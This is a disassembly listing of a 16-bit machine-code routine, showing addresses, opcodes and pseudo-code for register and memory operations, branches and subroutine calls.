0x01D3 (0x0003A6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01D4 (0x0003A8) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x01D5 (0x0003AA) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x01D6 (0x0003AC) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x01D7 (0x0003AE) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01D8 (0x0003B0) 0x2126- f:00020 d: 294 | A = OR[294]
0x01D9 (0x0003B2) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01DA (0x0003B4) 0x2926- f:00024 d: 294 | OR[294] = A
0x01DB (0x0003B6) 0x2121- f:00020 d: 289 | A = OR[289]
0x01DC (0x0003B8) 0x1417- f:00012 d: 23 | A = A + 23 (0x0017)
0x01DD (0x0003BA) 0x2908- f:00024 d: 264 | OR[264] = A
0x01DE (0x0003BC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01DF (0x0003BE) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x01E1 (0x0003C2) 0x2526- f:00022 d: 294 | A = A + OR[294]
0x01E2 (0x0003C4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01E3 (0x0003C6) 0x1800-0x4C4B f:00014 d: 0 | A = 19531 (0x4C4B)
0x01E5 (0x0003CA) 0x291E- f:00024 d: 286 | OR[286] = A
0x01E6 (0x0003CC) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x01E8 (0x0003D0) 0x1800-0x05D0 f:00014 d: 0 | A = 1488 (0x05D0)
0x01EA (0x0003D4) 0x291F- f:00024 d: 287 | OR[287] = A
0x01EB (0x0003D6) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x01ED (0x0003DA) 0x3120- f:00030 d: 288 | A = (OR[288])
0x01EE (0x0003DC) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x01EF (0x0003DE) 0x2913- f:00024 d: 275 | OR[275] = A
0x01F0 (0x0003E0) 0x2113- f:00020 d: 275 | A = OR[275]
0x01F1 (0x0003E2) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C)
0x01F2 (0x0003E4) 0x8403- f:00102 d: 3 | P = P + 3 (0x01F5), A = 0
0x01F3 (0x0003E6) 0x7A03-0x021D f:00075 d: 3 | P = OR[3]+541 (0x021D)
0x01F5 (0x0003EA) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01F6 (0x0003EC) 0x2927- f:00024 d: 295 | OR[295] = A
0x01F7 (0x0003EE) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x01F9 (0x0003F2) 0x2928- f:00024 d: 296 | OR[296] = A
0x01FA (0x0003F4) 0x1800-0x0027 f:00014 d: 0 | A = 39 (0x0027)
0x01FC (0x0003F8) 0x2929- f:00024 d: 297 | OR[297] = A
0x01FD (0x0003FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01FE (0x0003FC) 0x292A- f:00024 d: 298 | OR[298] = A
0x01FF (0x0003FE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0200 (0x000400) 0x292B- f:00024 d: 299 | OR[299] = A
0x0201 (0x000402) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0202 (0x000404) 0x292C- f:00024 d: 300 | OR[300] = A
0x0203 (0x000406) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x0204 (0x000408) 0x5800- f:00054 d: 0 | B = A
0x0205 (0x00040A) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x0207 (0x00040E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0208 (0x000410) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0209 (0x000412) 0x3104- f:00030 d: 260 | A = (OR[260])
0x020A (0x000414) 0x2904- f:00024 d: 260 | OR[260] = A
0x020B (0x000416) 0x2104- f:00020 d: 260 | A = OR[260]
0x020C (0x000418) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x020D (0x00041A) 0x8007- f:00100 d: 7 | P = P + 7 (0x0214), C = 0
0x020E (0x00041C) 0x2104- f:00020 d: 260 | A = OR[260]
0x020F (0x00041E) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0210 (0x000420) 0x8003- f:00100 d: 3 | P = P + 3 (0x0213), C = 0
0x0211 (0x000422) 0x8402- f:00102 d: 2 | P = P + 2 (0x0213), A = 0
0x0212 (0x000424) 0x7002- f:00070 d: 2 | P = P + 2 (0x0214)
0x0213 (0x000426) 0x7003- f:00070 d: 3 | P = P + 3 (0x0216)
0x0214 (0x000428) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0215 (0x00042A) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0216 (0x00042C) 0x712E- f:00070 d: 302 | P = P + 302 (0x0344)
0x0217 (0x00042E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0218 (0x000430) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0219 (0x000432) 0x8402- f:00102 d: 2 | P = P + 2 (0x021B), A = 0
0x021A (0x000434) 0x700A- f:00070 d: 10 | P = P + 10 (0x0224)
0x021B (0x000436) 0x1800-0x5743 f:00014 d: 0 | A = 22339 (0x5743)
0x021D (0x00043A) 0x291E- f:00024 d: 286 | OR[286] = A
0x021E (0x00043C) 0x2120- f:00020 d: 288 | A = OR[288]
0x021F (0x00043E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0220 (0x000440) 0x2908- f:00024 d: 264 | OR[264] = A
0x0221 (0x000442) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0222 (0x000444) 0x2914- f:00024 d: 276 | OR[276] = A
0x0223 (0x000446) 0x706B- f:00070 d: 107 | P = P + 107 (0x028E)
0x0224 (0x000448) 0x2113- f:00020 d: 275 | A = OR[275]
0x0225 (0x00044A) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0226 (0x00044C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0228), A = 0
0x0227 (0x00044E) 0x7045- f:00070 d: 69 | P = P + 69 (0x026C)
0x0228 (0x000450) 0x2120- f:00020 d: 288 | A = OR[288]
0x0229 (0x000452) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x022A (0x000454) 0x2908- f:00024 d: 264 | OR[264] = A
0x022B (0x000456) 0x3108- f:00030 d: 264 | A = (OR[264])
0x022C (0x000458) 0x2914- f:00024 d: 276 | OR[276] = A
0x022D (0x00045A) 0x2114- f:00020 d: 276 | A = OR[276]
0x022E (0x00045C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0230), A = 0
0x022F (0x00045E) 0x7005- f:00070 d: 5 | P = P + 5 (0x0234)
0x0230 (0x000460) 0x1800-0x5741 f:00014 d: 0 | A = 22337 (0x5741)
0x0232 (0x000464) 0x291E- f:00024 d: 286 | OR[286] = A
0x0233 (0x000466) 0x7038- f:00070 d: 56 | P = P + 56 (0x026B)
0x0234 (0x000468) 0x2114- f:00020 d: 276 | A = OR[276]
0x0235 (0x00046A) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0236 (0x00046C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0238), A = 0
0x0237 (0x00046E) 0x7012- f:00070 d: 18 | P = P + 18 (0x0249)
0x0238 (0x000470) 0x1800-0x5742 f:00014 d: 0 | A = 22338 (0x5742)
0x023A (0x000474) 0x291E- f:00024 d: 286 | OR[286] = A
0x023B (0x000476) 0x754A- f:00072 d: 330 | R = P + 330 (0x0385)
0x023C (0x000478) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x023D (0x00047A) 0x2913- f:00024 d: 275 | OR[275] = A
0x023E (0x00047C) 0x2120- f:00020 d: 288 | A = OR[288]
0x023F (0x00047E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0240 (0x000480) 0x2908- f:00024 d: 264 | OR[264] = A
0x0241 (0x000482) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0242 (0x000484) 0x2915- f:00024 d: 277 | OR[277] = A
0x0243 (0x000486) 0x2120- f:00020 d: 288 | A = OR[288]
0x0244 (0x000488) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0245 (0x00048A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0246 (0x00048C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0247 (0x00048E) 0x2916- f:00024 d: 278 | OR[278] = A
0x0248 (0x000490) 0x7023- f:00070 d: 35 | P = P + 35 (0x026B)
0x0249 (0x000492) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x024A (0x000494) 0x2927- f:00024 d: 295 | OR[295] = A
0x024B (0x000496) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x024D (0x00049A) 0x2928- f:00024 d: 296 | OR[296] = A
0x024E (0x00049C) 0x1800-0x0004 f:00014 d: 0 | A = 4 (0x0004)
0x0250 (0x0004A0) 0x2929- f:00024 d: 297 | OR[297] = A
0x0251 (0x0004A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0252 (0x0004A4) 0x292A- f:00024 d: 298 | OR[298] = A
0x0253 (0x0004A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0254 (0x0004A8) 0x292B- f:00024 d: 299 | OR[299] = A
0x0255 (0x0004AA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0256 (0x0004AC) 0x292C- f:00024 d: 300 | OR[300] = A
0x0257 (0x0004AE) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x0258 (0x0004B0) 0x5800- f:00054 d: 0 | B = A
0x0259 (0x0004B2) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x025B (0x0004B6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x025C (0x0004B8) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x025D (0x0004BA) 0x3104- f:00030 d: 260 | A = (OR[260])
0x025E (0x0004BC) 0x2904- f:00024 d: 260 | OR[260] = A
0x025F (0x0004BE) 0x2104- f:00020 d: 260 | A = OR[260]
0x0260 (0x0004C0) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0261 (0x0004C2) 0x8007- f:00100 d: 7 | P = P + 7 (0x0268), C = 0
0x0262 (0x0004C4) 0x2104- f:00020 d: 260 | A = OR[260]
0x0263 (0x0004C6) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0264 (0x0004C8) 0x8003- f:00100 d: 3 | P = P + 3 (0x0267), C = 0
0x0265 (0x0004CA) 0x8402- f:00102 d: 2 | P = P + 2 (0x0267), A = 0
0x0266 (0x0004CC) 0x7002- f:00070 d: 2 | P = P + 2 (0x0268)
0x0267 (0x0004CE) 0x7003- f:00070 d: 3 | P = P + 3 (0x026A)
0x0268 (0x0004D0) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0269 (0x0004D2) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x026A (0x0004D4) 0x70DA- f:00070 d: 218 | P = P + 218 (0x0344)
0x026B (0x0004D6) 0x7023- f:00070 d: 35 | P = P + 35 (0x028E)
0x026C (0x0004D8) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x026D (0x0004DA) 0x2927- f:00024 d: 295 | OR[295] = A
0x026E (0x0004DC) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x0270 (0x0004E0) 0x2928- f:00024 d: 296 | OR[296] = A
0x0271 (0x0004E2) 0x1800-0x0004 f:00014 d: 0 | A = 4 (0x0004)
0x0273 (0x0004E6) 0x2929- f:00024 d: 297 | OR[297] = A
0x0274 (0x0004E8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0275 (0x0004EA) 0x292A- f:00024 d: 298 | OR[298] = A
0x0276 (0x0004EC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0277 (0x0004EE) 0x292B- f:00024 d: 299 | OR[299] = A
0x0278 (0x0004F0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0279 (0x0004F2) 0x292C- f:00024 d: 300 | OR[300] = A
0x027A (0x0004F4) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x027B (0x0004F6) 0x5800- f:00054 d: 0 | B = A
0x027C (0x0004F8) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x027E (0x0004FC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x027F (0x0004FE) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0280 (0x000500) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0281 (0x000502) 0x2904- f:00024 d: 260 | OR[260] = A
0x0282 (0x000504) 0x2104- f:00020 d: 260 | A = OR[260]
0x0283 (0x000506) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0284 (0x000508) 0x8007- f:00100 d: 7 | P = P + 7 (0x028B), C = 0
0x0285 (0x00050A) 0x2104- f:00020 d: 260 | A = OR[260]
0x0286 (0x00050C) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0287 (0x00050E) 0x8003- f:00100 d: 3 | P = P + 3 (0x028A), C = 0
0x0288 (0x000510) 0x8402- f:00102 d: 2 | P = P + 2 (0x028A), A = 0
0x0289 (0x000512) 0x7002- f:00070 d: 2 | P = P + 2 (0x028B)
0x028A (0x000514) 0x7003- f:00070 d: 3 | P = P + 3 (0x028D)
0x028B (0x000516) 0x7C34- f:00076 d: 52 | R = OR[52]
0x028C (0x000518) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x028D (0x00051A) 0x70B7- f:00070 d: 183 | P = P + 183 (0x0344)
0x028E (0x00051C) 0x74FE- f:00072 d: 254 | R = P + 254 (0x038C)
0x028F (0x00051E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0290 (0x000520) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0291 (0x000522) 0x8402- f:00102 d: 2 | P = P + 2 (0x0293), A = 0
0x0292 (0x000524) 0x7007- f:00070 d: 7 | P = P + 7 (0x0299)
0x0293 (0x000526) 0x2121- f:00020 d: 289 | A = OR[289]
0x0294 (0x000528) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0295 (0x00052A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0296 (0x00052C) 0x2114- f:00020 d: 276 | A = OR[276]
0x0297 (0x00052E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0298 (0x000530) 0x703D- f:00070 d: 61 | P = P + 61 (0x02D5)
0x0299 (0x000532) 0x2113- f:00020 d: 275 | A = OR[275]
0x029A (0x000534) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x029B (0x000536) 0x8402- f:00102 d: 2 | P = P + 2 (0x029D), A = 0
0x029C (0x000538) 0x7039- f:00070 d: 57 | P = P + 57 (0x02D5)
0x029D (0x00053A) 0x1061- f:00010 d: 97 | A = 97 (0x0061)
0x029E (0x00053C) 0x2917- f:00024 d: 279 | OR[279] = A
0x029F (0x00053E) 0x2115- f:00020 d: 277 | A = OR[277]
0x02A0 (0x000540) 0x290F- f:00024 d: 271 | OR[271] = A
0x02A1 (0x000542) 0x2117- f:00020 d: 279 | A = OR[279]
0x02A2 (0x000544) 0x2910- f:00024 d: 272 | OR[272] = A
0x02A3 (0x000546) 0x2116- f:00020 d: 278 | A = OR[278]
0x02A4 (0x000548) 0x2911- f:00024 d: 273 | OR[273] = A
0x02A5 (0x00054A) 0x702E- f:00070 d: 46 | P = P + 46 (0x02D3)
0x02A6 (0x00054C) 0x210F- f:00020 d: 271 | A = OR[271]
0x02A7 (0x00054E) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x02A8 (0x000550) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x02A9 (0x000552) 0x290D- f:00024 d: 269 | OR[269] = A
0x02AA (0x000554) 0x310D- f:00030 d: 269 | A = (OR[269])
0x02AB (0x000556) 0x290D- f:00024 d: 269 | OR[269] = A
0x02AC (0x000558) 0x210F- f:00020 d: 271 | A = OR[271]
0x02AD (0x00055A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x02AE (0x00055C) 0x2908- f:00024 d: 264 | OR[264] = A
0x02AF (0x00055E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02B0 (0x000560) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x02B1 (0x000562) 0x8604- f:00103 d: 4 | P = P + 4 (0x02B5), A # 0
0x02B2 (0x000564) 0x210D- f:00020 d: 269 | A = OR[269]
0x02B3 (0x000566) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x02B4 (0x000568) 0x290D- f:00024 d: 269 | OR[269] = A
0x02B5 (0x00056A) 0x210D- f:00020 d: 269 | A = OR[269]
0x02B6 (0x00056C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x02B7 (0x00056E) 0x2912- f:00024 d: 274 | OR[274] = A
0x02B8 (0x000570) 0x2D0F- f:00026 d: 271 | OR[271] = OR[271] + 1
0x02B9 (0x000572) 0x2112- f:00020 d: 274 | A = OR[274]
0x02BA (0x000574) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x02BB (0x000576) 0x290D- f:00024 d: 269 | OR[269] = A
0x02BC (0x000578) 0x2110- f:00020 d: 272 | A = OR[272]
0x02BD (0x00057A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x02BE (0x00057C) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x02BF (0x00057E) 0x290E- f:00024 d: 270 | OR[270] = A
0x02C0 (0x000580) 0x2110- f:00020 d: 272 | A = OR[272]
0x02C1 (0x000582) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x02C2 (0x000584) 0x2908- f:00024 d: 264 | OR[264] = A
0x02C3 (0x000586) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02C4 (0x000588) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x02C5 (0x00058A) 0x8607- f:00103 d: 7 | P = P + 7 (0x02CC), A # 0
0x02C6 (0x00058C) 0x310E- f:00030 d: 270 | A = (OR[270])
0x02C7 (0x00058E) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x02C8 (0x000590) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x02C9 (0x000592) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x02CA (0x000594) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x02CB (0x000596) 0x7006- f:00070 d: 6 | P = P + 6 (0x02D1)
0x02CC (0x000598) 0x310E- f:00030 d: 270 | A = (OR[270])
0x02CD (0x00059A) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x02CF (0x00059E) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x02D0 (0x0005A0) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x02D1 (0x0005A2) 0x2D10- f:00026 d: 272 | OR[272] = OR[272] + 1
0x02D2 (0x0005A4) 0x2F11- f:00027 d: 273 | OR[273] = OR[273] - 1
0x02D3 (0x0005A6) 0x2111- f:00020 d: 273 | A = OR[273]
0x02D4 (0x0005A8) 0x8E2E- f:00107 d: 46 | P = P - 46 (0x02A6), A # 0
0x02D5 (0x0005AA) 0x7028- f:00070 d: 40 | P = P + 40 (0x02FD)
0x02D6 (0x0005AC) 0x1800-0x05E8 f:00014 d: 0 | A = 1512 (0x05E8)
0x02D8 (0x0005B0) 0x291F- f:00024 d: 287 | OR[287] = A
0x02D9 (0x0005B2) 0x7471- f:00072 d: 113 | R = P + 113 (0x034A)
0x02DA (0x0005B4) 0x2120- f:00020 d: 288 | A = OR[288]
0x02DB (0x0005B6) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x02DC (0x0005B8) 0x2908- f:00024 d: 264 | OR[264] = A
0x02DD (0x0005BA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02DE (0x0005BC) 0x2923- f:00024 d: 291 | OR[291] = A
0x02DF (0x0005BE) 0x74A6- f:00072 d: 166 | R = P + 166 (0x0385)
0x02E0 (0x0005C0) 0x2120- f:00020 d: 288 | A = OR[288]
0x02E1 (0x0005C2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x02E2 (0x0005C4) 0x2908- f:00024 d: 264 | OR[264] = A
0x02E3 (0x0005C6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02E4 (0x0005C8) 0x2924- f:00024 d: 292 | OR[292] = A
0x02E5 (0x0005CA) 0x74A0- f:00072 d: 160 | R = P + 160 (0x0385)
0x02E6 (0x0005CC) 0x2120- f:00020 d: 288 | A = OR[288]
0x02E7 (0x0005CE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x02E8 (0x0005D0) 0x2908- f:00024 d: 264 | OR[264] = A
0x02E9 (0x0005D2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02EA (0x0005D4) 0x291E- f:00024 d: 286 | OR[286] = A
0x02EB (0x0005D6) 0x74A1- f:00072 d: 161 | R = P + 161 (0x038C)
0x02EC (0x0005D8) 0x2121- f:00020 d: 289 | A = OR[289]
0x02ED (0x0005DA) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x02EE (0x0005DC) 0x2908- f:00024 d: 264 | OR[264] = A
0x02EF (0x0005DE) 0x2123- f:00020 d: 291 | A = OR[291]
0x02F0 (0x0005E0) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02F1 (0x0005E2) 0x2124- f:00020 d: 292 | A = OR[292]
0x02F2 (0x0005E4) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x02F3 (0x0005E6) 0x2924- f:00024 d: 292 | OR[292] = A
0x02F4 (0x0005E8) 0x2121- f:00020 d: 289 | A = OR[289]
0x02F5 (0x0005EA) 0x1423- f:00012 d: 35 | A = A + 35 (0x0023)
0x02F6 (0x0005EC) 0x2908- f:00024 d: 264 | OR[264] = A
0x02F7 (0x0005EE) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02F8 (0x0005F0) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x02F9 (0x0005F2) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x02FA (0x0005F4) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x02FB (0x0005F6) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02FC (0x0005F8) 0x7001- f:00070 d: 1 | P = P + 1 (0x02FD)
0x02FD (0x0005FA) 0x2121- f:00020 d: 289 | A = OR[289]
0x02FE (0x0005FC) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x02FF (0x0005FE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0300 (0x000600) 0x211E- f:00020 d: 286 | A = OR[286]
0x0301 (0x000602) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0302 (0x000604) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0303 (0x000606) 0x2927- f:00024 d: 295 | OR[295] = A
0x0304 (0x000608) 0x1800-0x015A f:00014 d: 0 | A = 346 (0x015A)
0x0306 (0x00060C) 0x2928- f:00024 d: 296 | OR[296] = A
0x0307 (0x00060E) 0x1800-0x01C5 f:00014 d: 0 | A = 453 (0x01C5)
0x0309 (0x000612) 0x2929- f:00024 d: 297 | OR[297] = A
0x030A (0x000614) 0x2121- f:00020 d: 289 | A = OR[289]
0x030B (0x000616) 0x292A- f:00024 d: 298 | OR[298] = A
0x030C (0x000618) 0x1800-0x0340 f:00014 d: 0 | A = 832 (0x0340)
0x030E (0x00061C) 0x292B- f:00024 d: 299 | OR[299] = A
0x030F (0x00061E) 0x1800-0x0242 f:00014 d: 0 | A = 578 (0x0242)
0x0311 (0x000622) 0x292C- f:00024 d: 300 | OR[300] = A
0x0312 (0x000624) 0x1800-0x0001 f:00014 d: 0 | A = 1 (0x0001)
0x0314 (0x000628) 0x292D- f:00024 d: 301 | OR[301] = A
0x0315 (0x00062A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0316 (0x00062C) 0x292E- f:00024 d: 302 | OR[302] = A
0x0317 (0x00062E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0318 (0x000630) 0x292F- f:00024 d: 303 | OR[303] = A
0x0319 (0x000632) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x031A (0x000634) 0x2930- f:00024 d: 304 | OR[304] = A
0x031B (0x000636) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x031C (0x000638) 0x5800- f:00054 d: 0 | B = A
0x031D (0x00063A) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x031F (0x00063E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0320 (0x000640) 0x2913- f:00024 d: 275 | OR[275] = A
0x0321 (0x000642) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0322 (0x000644) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0323 (0x000646) 0x2904- f:00024 d: 260 | OR[260] = A
0x0324 (0x000648) 0x2104- f:00020 d: 260 | A = OR[260]
0x0325 (0x00064A) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0326 (0x00064C) 0x8007- f:00100 d: 7 | P = P + 7 (0x032D), C = 0
0x0327 (0x00064E) 0x2104- f:00020 d: 260 | A = OR[260]
0x0328 (0x000650) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0329 (0x000652) 0x8003- f:00100 d: 3 | P = P + 3 (0x032C), C = 0
0x032A (0x000654) 0x8402- f:00102 d: 2 | P = P + 2 (0x032C), A = 0
0x032B (0x000656) 0x7002- f:00070 d: 2 | P = P + 2 (0x032D)
0x032C (0x000658) 0x7003- f:00070 d: 3 | P = P + 3 (0x032F)
0x032D (0x00065A) 0x7C34- f:00076 d: 52 | R = OR[52]
0x032E (0x00065C) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x032F (0x00065E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0330 (0x000660) 0x8602- f:00103 d: 2 | P = P + 2 (0x0332), A # 0
0x0331 (0x000662) 0x7013- f:00070 d: 19 | P = P + 19 (0x0344)
0x0332 (0x000664) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0333 (0x000666) 0x2927- f:00024 d: 295 | OR[295] = A
0x0334 (0x000668) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x0336 (0x00066C) 0x2928- f:00024 d: 296 | OR[296] = A
0x0337 (0x00066E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0338 (0x000670) 0x2929- f:00024 d: 297 | OR[297] = A
0x0339 (0x000672) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x033A (0x000674) 0x292A- f:00024 d: 298 | OR[298] = A
0x033B (0x000676) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x033C (0x000678) 0x292B- f:00024 d: 299 | OR[299] = A
0x033D (0x00067A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x033E (0x00067C) 0x292C- f:00024 d: 300 | OR[300] = A
0x033F (0x00067E) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x0340 (0x000680) 0x5800- f:00054 d: 0 | B = A
0x0341 (0x000682) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x0343 (0x000686) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0344 (0x000688) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0345 (0x00068A) 0x2927- f:00024 d: 295 | OR[295] = A
0x0346 (0x00068C) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x0347 (0x00068E) 0x5800- f:00054 d: 0 | B = A
0x0348 (0x000690) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0349 (0x000692) 0x7C09- f:00076 d: 9 | R = OR[9]
0x034A (0x000694) 0x2104- f:00020 d: 260 | A = OR[260]
0x034B (0x000696) 0x290D- f:00024 d: 269 | OR[269] = A
0x034C (0x000698) 0x2104- f:00020 d: 260 | A = OR[260]
0x034D (0x00069A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x034E (0x00069C) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC)
0x0350 (0x0006A0) 0x2904- f:00024 d: 260 | OR[260] = A
0x0351 (0x0006A2) 0x2104- f:00020 d: 260 | A = OR[260]
0x0352 (0x0006A4) 0x2920- f:00024 d: 288 | OR[288] = A
0x0353 (0x0006A6) 0x1014- f:00010 d: 20 | A = 20 (0x0014)
0x0354 (0x0006A8) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260]
0x0355 (0x0006AA) 0x2104- f:00020 d: 260 | A = OR[260]
0x0356 (0x0006AC) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0357 (0x0006AE) 0xB234- f:00131 d: 52 | R = OR[52], C = 1
0x0358 (0x0006B0) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0359 (0x0006B2) 0x210D- f:00020 d: 269 | A = OR[269]
0x035A (0x0006B4) 0x3904- f:00034 d: 260 | (OR[260]) = A
0x035B (0x0006B6) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1
0x035C (0x0006B8) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x035D (0x0006BA) 0x2927- f:00024 d: 295 | OR[295] = A
0x035E (0x0006BC) 0x1800-0x012A f:00014 d: 0 | A = 298 (0x012A)
0x0360 (0x0006C0) 0x2928- f:00024 d: 296 | OR[296] = A
